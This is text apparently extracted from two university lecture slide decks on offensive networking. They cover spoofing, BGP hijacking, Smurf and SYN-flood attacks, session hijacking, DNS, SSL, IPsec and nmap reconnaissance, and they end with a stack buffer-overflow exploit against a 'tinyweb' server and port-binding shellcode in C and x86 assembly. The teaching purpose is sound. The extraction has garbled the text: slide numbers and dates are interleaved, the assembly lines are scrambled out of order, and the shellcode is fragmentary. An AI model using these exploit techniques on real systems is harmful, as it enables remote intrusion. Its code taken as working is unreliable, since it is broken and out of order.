Networking For Offensive Security TCP
Networking For Offensive Security TCP
Networking For Offensive Security TCP
You need to know the basic ideals and be able to analyze why they are secure or not secure using what we covered in Chapter 9
However, you are not required to know the implementation details If you are interested in the details, you can take the network security class or read more about them
If you have any questions, I will be more happy to help.
Read Chapter 10
2/6/2013 2:57:59 PM
networking-for-offensive-security.ppt
networking-for-offensive-security.ppt
TCP/IP Model
2/6/2013 2:58:33 PM
networking-for-offensive-security.ppt
L4 TCP
S P
D P
Segment 1
S P
D P
Segment 2
L3 IP
S A
D A
S P
D P
Packet 1
S A
D A
S P
D P
Pack 2
L2 Eth
S M
D M
S A
D A
S P
D P
Packet1
S M
D M
S A
D A
S P
D P
Pack 2
networking-for-offensive-security.ppt
Network Layer - IP
Moves packets between computers
Possibly on different physical segments Best effort
Technologies
Routing Lower level address discovery (ARP) Error Messages (ICMP)
2/6/2013 3:23:50 PM
networking-for-offensive-security.ppt
Address Spoofing
Sender can put any source address in packets he sends:
Can be used to send unwelcome return traffic to the spoofed address Can be used to bypass filters to get unwelcome traffic to the destination
Reverse Path verification can be used by routers to broadly catch some spoofers
2/6/2013 3:23:44 PM
networking-for-offensive-security.ppt
networking-for-offensive-security.ppt
Solutions
Encrypt all traffic Monitoring programs like arpwatch to detect mapping changes
Which might be valid due to DHCP
2/6/2013 3:23:42 PM
networking-for-offensive-security.ppt
IPv4 Routing
How do packets on the Internet find their destination?
Forwarding: each router decides where the packet should go next Routing: setting up forwarding rules in each router
networking-for-offensive-security.ppt
Routing
How are forwarding tables set up? Manual static routes
Works well for small networks with default routes
2/6/2013 3:23:40 PM
networking-for-offensive-security.ppt
10 10
BGP
Internet split up into Autonomous Systems (ASes) Each AS advertises networks it can reach
Aggregates networks from its neighbor ASes in advertisements Uses local policies to decide what to re-advertise
networking-for-offensive-security.ppt
11 11
Prefix Hijacking
Some ASes may advertise the wrong prefix Case study: Pakistan Telecom
Wanted to block YouTube Routes 208.65.153.0/24 to bit bucket Advertises route to rest of the world!
Problem:
People close to Pakistan use the bad route People far away from Pakistan use bad route, too
YouTube uses less specific advertisement, 208.65.152.0/22
2/6/2013 3:23:39 PM
networking-for-offensive-security.ppt
12 12
BGP DoS
BGP uses TCP connection to communicate routes and test reachability Attacks on TCP connections are possible
Send reset Low-resource jamming
2/6/2013 3:23:39 PM
networking-for-offensive-security.ppt
13 13
networking-for-offensive-security.ppt
14 14
Multihomed Hosts
A mutlihomed host is a host with multiple IP addresses
2/6/2013 3:23:37 PM
networking-for-offensive-security.ppt
15
Strong ES Model
2/6/2013 3:23:37 PM
networking-for-offensive-security.ppt
16
Weak ES Model
2/6/2013 3:23:36 PM
networking-for-offensive-security.ppt
17
2/6/2013 3:22:59 PM
networking-for-offensive-security.ppt
18
Smurf Attack
An amplification DoS attack
A relatively small amount of information sent is expanded to a large amount of data
Send ICMP echo request to IP broadcast addresses. Spoof the victim's address as the source The echo request receivers dutifully send echo replies to the victim overwhelming it Fraggle is a UDP variant of the same attack
Parasmurf, a combination of Smurf and Fraggle attacks
2/6/2013 3:22:58 PM
networking-for-offensive-security.ppt
19 19
Smurf
ICMP echo (spoofed source address of victim) Sent to IP broadcast address ICMP echo reply
Internet
Perpetrator
Victim
2/6/2013 3:22:57 PM
networking-for-offensive-security.ppt
20 20
Smurf Amplifiers
2/6/2013 3:22:57 PM
networking-for-offensive-security.ppt
21
Firewalls
Sits between two networks
Used to protect one from the other Places a bottleneck between the networks
All communications must pass through the bottleneck this gives us a single point of control
2/6/2013 3:22:56 PM
networking-for-offensive-security.ppt
22
Protection Methods
Packet Filtering
Rejects TCP/IP packets from unauthorized hosts and/or connection attempts bt unauthorized hosts
Proxy Services
Makes high level application level connections to external hosts on behalf of internal hosts to completely break the network connection between internal and external hosts
2/6/2013 3:22:56 PM
networking-for-offensive-security.ppt
23
2/6/2013 3:22:44 PM
networking-for-offensive-security.ppt
24 24
Well-Known Ports
2/6/2013 3:22:44 PM
networking-for-offensive-security.ppt
25
Reconnaissance
Port scanning
Send probes to all ports on the target See which ones respond
Application fingerprinting
Analyze the data returned Determine type of application, version, basic configuration Traffic answering from port 8080 is HTTP, Apache or Subversion
2/6/2013 3:22:44 PM
networking-for-offensive-security.ppt
26 26
Reliable Streams
Transmission Control Protocol (TCP)
Guarantees reliable, ordered stream of traffic Such guarantees impose overhead A fair amount of state is required on both ends
Most Internet protocols use TCP, e.g., HTTP, FTP, SSH, H.323 control channels
2/6/2013 3:22:44 PM
networking-for-offensive-security.ppt
27 27
TCP Header
Destination Port Sequence Number Acknowledgement number HDR Len U A P R S F R C S S Y I G K H T N N Checksum Window Size Urgent Pointer Options (0 or more words)
2/6/2013 3:22:44 PM
Source Port
networking-for-offensive-security.ppt
28 28
Machine B
ACK = 101
ACK=512
2/6/2013 3:22:44 PM
networking-for-offensive-security.ppt
29 29
SYN Flood
A resource DoS attack focused on the TCP three-way handshake Say A wants to set up a TCP connection to B
A sends SYN with its sequence number X B replies with its own SYN and sequence number Y and an ACK of As sequence number X A sends data with its sequence number X and ACKs Bs sequence number Y
Send many of the first message to B. Never respond to the second message.
This leaves B with a bunch of half open (or embryonic) connections that are filling up memory Firewalls adapted by setting limits on the number of such half open connections.
2/6/2013 3:22:43 PM
networking-for-offensive-security.ppt
30 30
SYN Flood
Machine A
SYN: seqno=100
SYN: seqno=511 ACK = 101
Machine B
2/6/2013 3:22:43 PM
networking-for-offensive-security.ppt
31 31
SYN Cookies
Server chooses a sequence number carefully
Contains an encrypted bit that encodes server and client identity Called a SYN Cookie
Server does not have to store SYN request in table, it can reconstruct from sequence number passed back by legitimate client Uses some bits defined for TCP, but not often used
2/6/2013 3:22:43 PM
networking-for-offensive-security.ppt
32 32
Checks T bits to determine whether time-out has fired Checks S to reconstruct addresses Constructs entry for now established connection
networking-for-offensive-security.ppt 33
2/6/2013 3:22:43 PM
Session Hijacking
Take over a session after the 3 way handshake is performed
After initial authentication too
Local
Can see all traffic. Simply inject traffic at a near future sequence number
Blind
Cannot see traffic Must guess the sequence number
2/6/2013 3:22:43 PM
networking-for-offensive-security.ppt
34 34
Session Hijacking
Client
Server
Attacker
2/6/2013 3:22:43 PM
networking-for-offensive-security.ppt
35 35
networking-for-offensive-security.ppt
36 36
DNS Problems
DNS Open relays
Makes it look like good DNS server is authoritative server to bogus name Enables amplification DoS attack http://www.us-cert.gov/reading_room/DNSrecursion121605.pdf
networking-for-offensive-security.ppt
37 37
DNS Transaction
networking-for-offensive-security.ppt
38 38
DNS Communication
Use UDP Requests and responses have matching 16 bit transaction Ids Servers can be configured as
Authoritative Nameserver
Officially responsible for answering requests for a domain
Recursive
Pass on requests to other authoritative servers
2/6/2013 3:22:42 PM
networking-for-offensive-security.ppt
39 39
2/5/2013 12:05:12 AM
networking-for-offensive-security.ppt
40 40
2/5/2013 12:05:11 AM
networking-for-offensive-security.ppt
41 41
DNSSEC
Seeks to solve the trust issues of DNS Uses a key hierarchy for verification Has been under development for a decade and still not really deployed Provides authentication, not confidentiality DNS Threat Analysis in RFC 3833.
2/5/2013 12:05:11 AM
networking-for-offensive-security.ppt
42 42
43
SSH
The secure shell, SSH, creates a secure tunnel so that commands can be secured
For example, in UNIX, to remotely login to a server, your password is sent in plaintext (such as rlogin, telnet)
Passwords can be easily snooped
By first establishing an SSH session, insecure commands become secure by providing confidentiality and integrity protection of the communication
2/5/2013 12:05:09 AM
networking-for-offensive-security.ppt
44
SSL/TSL
SSL is the protocol used for most secure transactions over the Internet For example, if you want to buy a book at amazon.com
You want to be sure you are dealing with Amazon (authentication) Your credit card information must be protected in transit (confidentiality and/or integrity) As long as you have money, Amazon doesnt care who you are (authentication need not be mutual)
10/23/2012 12:54:40 PM
week07-protocols-II.ppt
45
Socket layer
Socket layer lives between application and transport layers SSL usually lies between HTTP and TCP
Socket layer
User
OS
NIC
10/23/2012 12:58:36 PM
week07-protocols-II.ppt
46
Alice
Trudy
Bob
Q: What prevents this MiM attack? A: Bobs certificate must be signed by a certificate authority (such as Verisign) What does Web browser do if the signature is not valid? What does user do if signature is not valid?
10/25/2012 1:30:54 PM
week07-protocols-II.ppt
47
CVE-2012-5456
10/25/2012 1:31:00 PM
week07-protocols-II.ppt
48
CVE-2012-5356
10/25/2012 1:31:34 PM
week07-protocols-II.ppt
49
CVE-2012-4930
10/25/2012 1:31:47 PM
week07-protocols-II.ppt
50
SSL
application transport
User
OS
IPsec
10/25/2012 1:30:52 PM
week07-protocols-II.ppt
51
ESP/AH
ESP: Encapsulating Security Payload for encryption and/or integrity of IP packets
10/25/2012 1:30:52 PM
week07-protocols-II.ppt
52
IKE
IKE has 2 phases
Phase 1 IKE security association (SA) Phase 2 AH/ESP security association
Phase 1 is comparable to SSL session Phase 2 is comparable to SSL connection Not an obvious need for two phases in IKE If multiple Phase 2s do not occur, then it is more expensive to have two phases!
10/25/2012 1:30:52 PM
week07-protocols-II.ppt
53
week07-protocols-II.ppt
54
Tunnel mode for firewall to firewall traffic Original IP packet encapsulated in IPsec Original IP header not visible to attacker
New header from firewall to firewall Attacker does not know which hosts are talking
11/6/2012 1:30:30 PM
week07-protocols-II.ppt
55
Transport Mode
Host-to-host
Tunnel Mode
Firewall-to-firewall
Tunnel Mode
IP header data new IP hdr
11/6/2012 1:32:12 PM
ESP/AH
IP header data
week07-protocols-II.ppt 56
57
58
60
62
Host Discovery
Determining the liveness of a system
Within a local network by ARP scanning, use arpscan, nmap with PR and sn options, or cain ICMP host discovery
Ping is an obvious choice Nping SuperScan ICMP is seen as a security threat (even though it can provide valuable information)
Some networks allow ICMP both internally and externally, internally only, and none
63
64
Host Discovery
TCP/UDP Host Discovery
Nmap
One can do a port scan in order to determine if a host is alive However, it is not scalable for a large network A practical solution?
65
Host Discovery
66
68
69
70
Service Fingerprinting
Trying to identify the version of software implementation
Nmap version scanning to identify vulnerabilities as they are often operating system and version specific Many of the steps can be integrated to create a vulnerability scanner
Which identifies the vulnerabilities based on databases of known vulnerability signatures Nessus
71
Service Fingerprinting
Based on outputs from a servers reply
Called basic banner grabbing
72
SNMP Enumeration
Simple Network Management Protocol (SNMP) provides internal information about network devices, software, and systems
Often protected by a simple password (like public) snmputil snmpwalk
73
74
75
hacking-network.h
int recv_line(int sockfd, unsigned char *dest_buffer) { #define EOL "\r\n" // End-of-line byte sequence #define EOL_SIZE 2Omit code unsigned char *ptr; to limit the int eol_matched = 0; length !! ptr = dest_buffer;
76
they exceed the dest_buffer size. tinyweb server program using this function are vulnerable to overflow attack.
(gdb) x/x 0xbffff7d4+8 0xbffff7dc: 0x08048cf6 0xbffff7dc (gdb) p 0xbffff7dc - 0xbffff5c0 0xbffff688 $1 = 540 0xbffff5c0 (gdb) p /x 0xbffff5c0+200 $2 = 0xbffff688 target return address
tinyweb_exploit.c
char shellcode[]= "\x31\xc0\x31\xe1\xcd\x80"; #define OFFSET 540 #define RETADDR 0xbffff688
Socket() connect()
// Standard shellcode
bzero(buffer, 600); // Zero out the buffer. memset(buffer, '\x90', OFFSET); // 1) Build a NOP sled. *((u_int *)(buffer + OFFSET)) = RETADDR; // 2) Put the return address in memcpy(buffer+300, shellcode, strlen(shellcode)); // shellcode. strcat(buffer, "\r\n"); // 3) Terminate the string.
79
Port-Binding shellcode
When exploiting a remote program, spawning a shell locally is pointless. Port-binding shellcode listens for a TCP connection on a certain port and serves up the shell remotely.
80
bind_port.c
#include <unistd.h> int main(void) { struct sockaddr_in host_addr, client_addr; // My address information sockfd = socket (PF_INET, SOCK_STREAM, 0); host_addr.sin_family = AF_INET; // Host byte order host_addr.sin_port = htons(31337); // Short, network byte order host_addr.sin_addr.s_addr = INADDR_ANY; // Automatically fill with my IP. memset(&(host_addr.sin_zero), '\0', 8); // Zero the rest of the struct. bind (sockfd, (struct sockaddr *)&host_addr, sizeof(struct sockaddr)); listen (sockfd, 4); sin_size = sizeof(struct sockaddr_in); new_sockfd = accept (sockfd, (struct sockaddr *)&client_addr, &sin_size);
}
81
Sockaddr structure
Breakpoint 2, main () at bind_port.c:20 20 bind(sockfd, (struct sockaddr *)&host_addr, sizeof(struct sockaddr)); (gdb) print host_addr $1 = {sin_family = 2, sin_port = 27002, sin_addr = {s_addr = 0}, sin_zero = "\000\000\000\000\000\000\000"} (gdb) print sizeof(struct sockaddr) $2 = 16 (gdb) x/16xb &host_addr
0xbffff780: 0x02 0x00 0x7a 0x69 0x00 0x00 0x00 0x00 0xbffff788: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
bind_port.s
; s = socket(2, 1, 0) mov ecx, esp ; ecx = server struct pointer push BYTE 0x66 ; socketcall is syscall #102 (0x66). push BYTE 16 ; argv: { sizeof(server struct) = 16, pop eax push ecx ; server struct pointer, ; socket file descriptor } cdq ; Zero out edx for use as a null DWORD push later. esi mov ecx, esp ; ecx = argument array xor ebx, ebx ; ebx is the type of socketcall. int 0x80 ; eax = 0 on success inc ebx ; 1 = SYS_SOCKET = socket() ; listen(s, 0) push edx ; Build arg array: { protocol = 0, mov BYTE al, 0x66 ; socketcall (syscall #102) push BYTE 0x1 ; (in reverse) SOCK_STREAM = 1,inc ebx inc ebx ; ebx = 4 = SYS_LISTEN = listen() push BYTE 0x2 ; AF_INET = 2 } push ebx ; argv: { backlog = 4, mov ecx, esp ; ecx = ptr to argument array push esi ; socket fd } int 0x80 ; After syscall, eax has socket file descriptor. mov ecx, esp ; ecx = argument array mov esi, eax ; save socket FD in esi for later int 0x80 ; bind(s, [2, 31337, 0], 16) ; c = accept(s, 0, 0) mov BYTE al, 0x66 ; socketcall (syscall #102) push BYTE 0x66 ; socketcall (syscall #102) inc ebx ; ebx = 5 = SYS_ACCEPT = accept() pop eax push edx ; argv: { socklen = 0, inc ebx ; ebx = 2 = SYS_BIND = bind() push edx ; sockaddr ptr = NULL, push edx ; Build sockaddr struct: INADDR_ANY = 0 esi push ; socket fd } push WORD 0x697a ; (in reverse order) PORT = 31337 mov ecx, esp ; ecx = argument array 84 ; eax = connected socket FD push WORD bx ; AF_INET = int 2 0x80
85